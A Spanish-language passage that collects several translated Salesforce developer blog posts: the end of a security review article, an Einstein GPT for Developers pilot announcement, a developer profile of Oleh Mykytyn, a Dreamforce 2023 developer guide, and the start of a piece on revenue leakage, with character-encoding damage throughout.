Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnolog铆a transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este a帽o, anunciamos Einstein GPT para desarrolladores , la soluci贸n de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce m谩s r谩pido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora est谩 en piloto cerrado.

Creado espec铆ficamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar c贸digo Apex utilizando lenguaje natural. El soporte para LWC llegar谩 pronto. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos c贸mo comenzar con Einstein GPT para el desarrollo de Apex y c贸mo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificaci贸n de IA

Las herramientas de codificaci贸n de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes p煤blicos, como Java, Python y otros, as铆 como en c贸digo disponible p煤blicamente. Dado que los lenguajes espec铆ficos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitaci贸n necesaria para brindar recomendaciones precisas.

Adem谩s, las herramientas de codificaci贸n de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificaci贸n p煤blicas carecen del contexto de Salesforce de su organizaci贸n, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por 煤ltimo, el uso de herramientas de inteligencia artificial disponibles p煤blicamente expone su c贸digo privado m谩s all谩 del l铆mite de confianza de Salesforce y podr铆a hacerlo p煤blico, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de c贸digo abierto para la s铆ntesis de programas. Hospedamos CodeGen dentro del l铆mite de confianza de Salesforce y lo hemos capacitado en lenguajes espec铆ficos de Salesforce como Apex y LWC. Con una base din谩mica incorporada al proceso de generaci贸n de c贸digo, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y c贸digo. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y c贸digo permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que est茅 disponible en Open Beta para Dreamforce 2023. Una vez que su organizaci贸n est茅 habilitada para esta herramienta, puede instalar la extensi贸n Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT tambi茅n estar谩 disponible en Code Builder , nuestro IDE basado en web, que se espera que est茅 disponible de forma general en octubre. 隆Est茅n atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el men煤 y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organizaci贸n para conectarse a una organizaci贸n sandbox o a una organizaci贸n borrador de Salesforce. Podr谩 utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si est谩 utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la funci贸n adicional de organizaci贸n borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la funci贸n EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar c贸digo Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar c贸digo con Einstein GPT (ver captura de pantalla a continuaci贸n) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuaci贸n se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llam茅moslo OpportunityQuerySelector. Cree un m茅todo llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta espec铆fico. El m茅todo debe aceptar accountId como par谩metro. Siga las mejores pr谩cticas de seguridad y aseg煤rese de que el c贸digo se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuaci贸n.

Si bien el c贸digo generado anteriormente no requiri贸 muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT seg煤n sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. 隆Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Reci茅n estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere c贸digo LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalizaci贸n predictiva de c贸digo en l铆nea: complete autom谩ticamente la siguiente l铆nea de c贸digo sugerida con metadatos contextuales del proyecto.
  • Verificaci贸n del rendimiento del c贸digo: escanee el c贸digo Apex y corrija errores de tiempo de ejecuci贸n durante el proceso de desarrollo
  • Asistencia conversacional: P铆dale a Einstein que genere c贸digo contextual y documentaci贸n, explique el c贸digo o resuelva problemas complejos.

Conclusi贸n

A medida que Einstein GPT para desarrolladores ampl铆e sus capacidades para admitir LWC, proporcionar finalizaci贸n de c贸digo inteligente y brindar asistencia conversacional, podr谩 desarrollar la plataforma Salesforce m谩s r谩pido que nunca. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. 隆脷nase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de LinkedIn .

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Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce | Blog de desarrolladores de Salesforce

El desarrollador de Salesforce, Oleh Mykytyn , comenz贸 su viaje con Salesforce en 2015 cuando su hermano, Nazar, tambi茅n desarrollador de Salesforce, recomend贸 probar Salesforce a trav茅s de la plataforma de aprendizaje Trailhead . Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades m谩s demandadas y relevantes de la actualidad, obtener credenciales dignas de un curr铆culum y conectarse a oportunidades globales. Cuando Oleh se enter贸 de que pod铆a obtener una sudadera con capucha Trailblazer por completar cinco insignias Trailhead, se propuso ese objetivo.

Bueno, Oleh consigui贸 esa sudadera con capucha y ha sido desarrollador de Salesforce desde entonces. Despu茅s de ese logro inicial, Oleh pas贸 a completar insignia tras insignia, desarrollando sus habilidades en Salesforce hasta el punto en que actualmente registra 148 insignias y cuatro superbadges. Sus favoritos incluyen Apex Specialist y Advanced Apex Specialist .

Pero Oleh tambi茅n ha llevado las habilidades aprendidas al lugar de trabajo y hoy es el Jefe de Atenci贸n al Cliente en Redtag. En este cargo, habla en conferencias internacionales en todo el mundo, escribe art铆culos y aparece como invitado en podcasts. Oleh ahora es reconocido como un pilar de la comunidad Trailblazer , una red global y diversa de 18 millones de estudiantes que adquieren habilidades y se apoyan unos a otros. En el pasado, Oleh no cre铆a que pudiera lograr tales cosas, pero ahora conf铆a en que puede lograr el 茅xito profesional con trabajo duro, pasi贸n y un proceso paso a paso.

Oleh presenta en la conferencia comunitaria de Salesforce Czech Dreamin'

Qu茅 significa ser un desarrollador de Salesforce

"Ser desarrollador de Salesforce significa estar preparado para los desaf铆os", dice Oleh. 鈥淪iempre hay que pensar en grande y utilizar el pensamiento cr铆tico. Un desarrollador es una 'part铆cula' poderosa que impulsa la evoluci贸n del mundo y trae cosas incre铆bles a nuestras vidas para hacerlas m谩s simples y agradables. Nuestro valor es desarrollar experiencias de Salesforce y hacer felices a todos nuestros clientes鈥.

Ser desarrollador de Salesforce significa estar preparado para los desaf铆os.

Varias personas apoyaron a Oleh en el camino, como su novia, sus padres, su hermano y sus compa帽eros de equipo, y lo ayudaron a llegar a donde se encuentra ahora en su carrera. Recuerda: 鈥淩ecuerdo haber reprobado un examen o haber tenido desaf铆os en un proyecto, y siempre me dec铆an: 'La pr贸xima vez lo conseguir谩s'. 隆Y eso siempre pas贸!鈥

A Oleh siempre le entusiasma ver c贸mo Salesforce nunca deja de crecer e innovar, brindando nuevas y mejores experiencias a los desarrolladores y usuarios finales. "Me inspira ver c贸mo Salesforce valora y escucha a la comunidad", afirma. Una vez invitaron a Oleh a almorzar con el director ejecutivo de Salesforce, Marc Benioff, y qued贸 sorprendido por lo atento que estaba Marc a cada palabra, as铆 como por c贸mo consideraba cada comentario de Oleh.

Oleh y el director ejecutivo de Salesforce, Marc Benioff

Algunas sorpresas en el viaje de Salesforce

Al comienzo de su trayectoria en Salesforce, Oleh descubri贸 a Jim Rohn, un autor y orador motivacional estadounidense, que ayud贸 a Oleh a cambiar su forma de pensar. Recordar谩 una cita particular de Rohn por el resto de su vida: 鈥淣o desear铆a que fuera m谩s f谩cil; Ojal谩 estuvieras mejor鈥.

Con este esp铆ritu, Oleh siempre ha aprendido haciendo e investigando constantemente lo que se necesita. Aprender a hacer las preguntas correctas viene con la experiencia y la pr谩ctica. Una de las formas en que Oleh busca mejorar su marca personal es obteniendo certificaciones de Salesforce .

Oleh tras aprobar su primer examen de certificaci贸n de Salesforce

Actualmente, Oleh ha obtenido 11 certificaciones y aspira a aprobar una o dos certificaciones m谩s cada a帽o. Esto le permite seguir desafi谩ndose a s铆 mismo mientras adquiere nuevas y valiosas habilidades. Curiosamente, Oleh suspendi贸 su primera certificaci贸n, 鈥淎pp Builder鈥, dos veces y consider贸 brevemente que el desarrollo de TI no era para 茅l. Pero luego se dio cuenta de que hab铆a subestimado el examen y necesitaba prepararse m谩s de antemano.

Entonces, primero, Oleh analiz贸 la secci贸n en la que hab铆a suspendido con los porcentajes de cobertura m谩s bajos. Luego, utiliz贸 preguntas simuladas de tal manera que pudiera ejecutar completamente las tareas en su patio de juegos, lo que le dio una mejor comprensi贸n de la funcionalidad y le ayud贸 a recordarla mejor que simplemente leer sobre ella.

脡l dice: 鈥淢e inscrib铆 nuevamente para el examen, pero no se lo dije a nadie (para que nadie se enterara si reprobaba una tercera vez). Pero esta vez pas茅 y fue uno de los mejores d铆as de mi vida. Despu茅s de eso, obtuve una certificaci贸n tras otra y ahora s茅 definitivamente que el fracaso es la clave del 茅xito鈥.

Lecciones aprendidas de la comunidad Trailblazer

Oleh se involucr贸 profundamente en la comunidad Trailblazer de desarrolladores de Salesforce y aprendi贸 muchas lecciones a lo largo del camino. Dice: 鈥淎prend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es… 隆BOOM! Realmente creo que los desarrolladores m谩s fuertes son las personas que tienen habilidades interpersonales muy bien desarrolladas鈥. Oleh explica que debe gran parte de su 茅xito a la buena comunicaci贸n, la empat铆a, la generaci贸n de confianza y el deseo de ser una buena persona en el mundo. Adem谩s, estas habilidades le han ayudado a formar conexiones profundas con las personas que le rodean.

Aprend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es: 隆BOOM!

Las habilidades interpersonales y una actitud positiva tambi茅n son una alta prioridad para el equipo de Oleh. Creen que aquellos que est谩n dispuestos, son apasionados y buenos para establecer conexiones siempre encuentran la manera de adquirir las habilidades tecnol贸gicas necesarias. 鈥淢enos miedo y m谩s aportaciones鈥, afirma. "Todo es posible en esta vida, y la vida es demasiado corta para rechazar tus sue帽os por miedo".

Consejos para otros desarrolladores: los foros de desarrolladores son tus mejores amigos

"La comunidad Trailblazer es su familia", explica Oleh. "Aprende todo lo que puedas y devu茅lvelo cuando est茅s listo". En 2016, un buen amigo de los Pa铆ses Bajos le habl贸 de la existencia de los grupos comunitarios Trailblazer e inmediatamente supo que le gustar铆a llevarlos a los desarrolladores de Lviv .

La comunidad Trailblazer es su familia.

Oleh recuerda: "Cuando comenz贸 el grupo de Lviv, tom茅 la iniciativa de liderar el grupo y luego comenc茅 a conocer todos los eventos para desarrolladores de Salesforce". Esto llev贸 a Oleh a asistir a eventos dirigidos por Salesforce como Dreamforce y eventos Dreamin' dirigidos por la comunidad , e incluso fund贸 Salesforce Saturday en Lviv, una reuni贸n en persona de la comunidad Trailblazer que gana insignias juntos. Ahora, Oleh une y apoya a la comunidad de desarrolladores ucraniana mediante la creaci贸n de canales de Slack y transmisi贸n de YouTube a otras ciudades antes de los eventos virtuales.

El grupo de desarrolladores de Salesforce en Lviv

" Como equipo en Redtag, siempre nos apasiona desarrollar talentos e invitar a nuevos pioneros", dice Oleh. 鈥淓sto ayuda a hacer crecer nuestra familia Trailblazer Community. 隆La mejor manera de mantenerse conectado con la comunidad de desarrolladores de Salesforce es uni茅ndose a un foro, redes sociales y, por supuesto, eventos!

La comunidad Trailblazer tambi茅n ha hecho una gran contribuci贸n a la carrera de Oleh. Ha encontrado muchas respuestas en varios foros, toneladas de contenido valioso en publicaciones de blogs y muchas conversaciones con miembros de la comunidad que comparten recomendaciones o ideas. 脡l dice: 鈥淓stoy agradecido de tenerlos a todos. Gracias a ti, soy quien soy鈥.

La comunidad Trailblazer apoya al pa铆s de origen de Oleh, Ucrania, en Dreamforce 2022.

Oleh anima a todos a ver si hay grupos comunitarios Trailblazer locales o un s谩bado de Salesforce en su 谩rea y unirse a ellos de inmediato (busque un grupo cerca de usted ). Si no existe ninguno, entonces sugiere tomar la iniciativa de crear uno. "Siempre recomiendo los eventos en persona porque son m谩s atractivos e inspiradores".

Para conocer desarrolladores como Oleh y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, logros e inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en https://trailblazer.me/id/christiefidura . Christie, community manager certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

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La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
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Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
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Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

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Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

脷ltima actualizaci贸n el 18 de agosto de 2023 por Rakesh Gupta

La fuga de ingresos es la amenaza oculta a la que se enfrentan todas las empresas. Desde las etapas iniciales de calificaci贸n de clientes potenciales hasta las ventas adicionales y cruzadas, los ingresos potenciales pueden perderse en cualquier punto del embudo de ventas debido a brechas e ineficiencias.

En este art铆culo, exploraremos c贸mo las empresas pueden utilizar la inteligencia artificial (IA) y los datos para combatir la fuga de ingresos junto con la experiencia de los administradores de Salesforce.

En su forma m谩s simple, la fuga de ingresos es la p茅rdida de ingresos ganables debido a errores no forzados y desalineaciones en el proceso de generaci贸n de ingresos. Seg煤n Boston Consulting Group , las d茅biles estrategias de lanzamiento al mercado est谩n causando que las empresas pierdan $2 billones al a帽o en ingresos potenciales perdidos y costos excesivos.  

Profundizaremos en este tema cr铆tico en Dreamforce en San Francisco del 12 al 14 de septiembre de 2023. Como orgulloso patrocinador del evento, Revenue Grid compartir谩 informaci贸n sobre c贸mo las empresas pueden abordar de manera efectiva la fuga de ingresos utilizando el poder de la IA y los datos. . Nuestra misi贸n es simple: capacitar a las empresas para salvaguardar sus ingresos ganados con tanto esfuerzo y, como administrador de Salesforce, 隆usted tiene la clave de esta iniciativa! 脷nase a nosotros en Dreamforce para sumergirse en el emocionante mundo de la protecci贸n de ingresos impulsada por IA y descubra c贸mo abordar este desaf铆o comercial cr铆tico.

Revolucionando la batalla contra las fugas de ingresos con IA

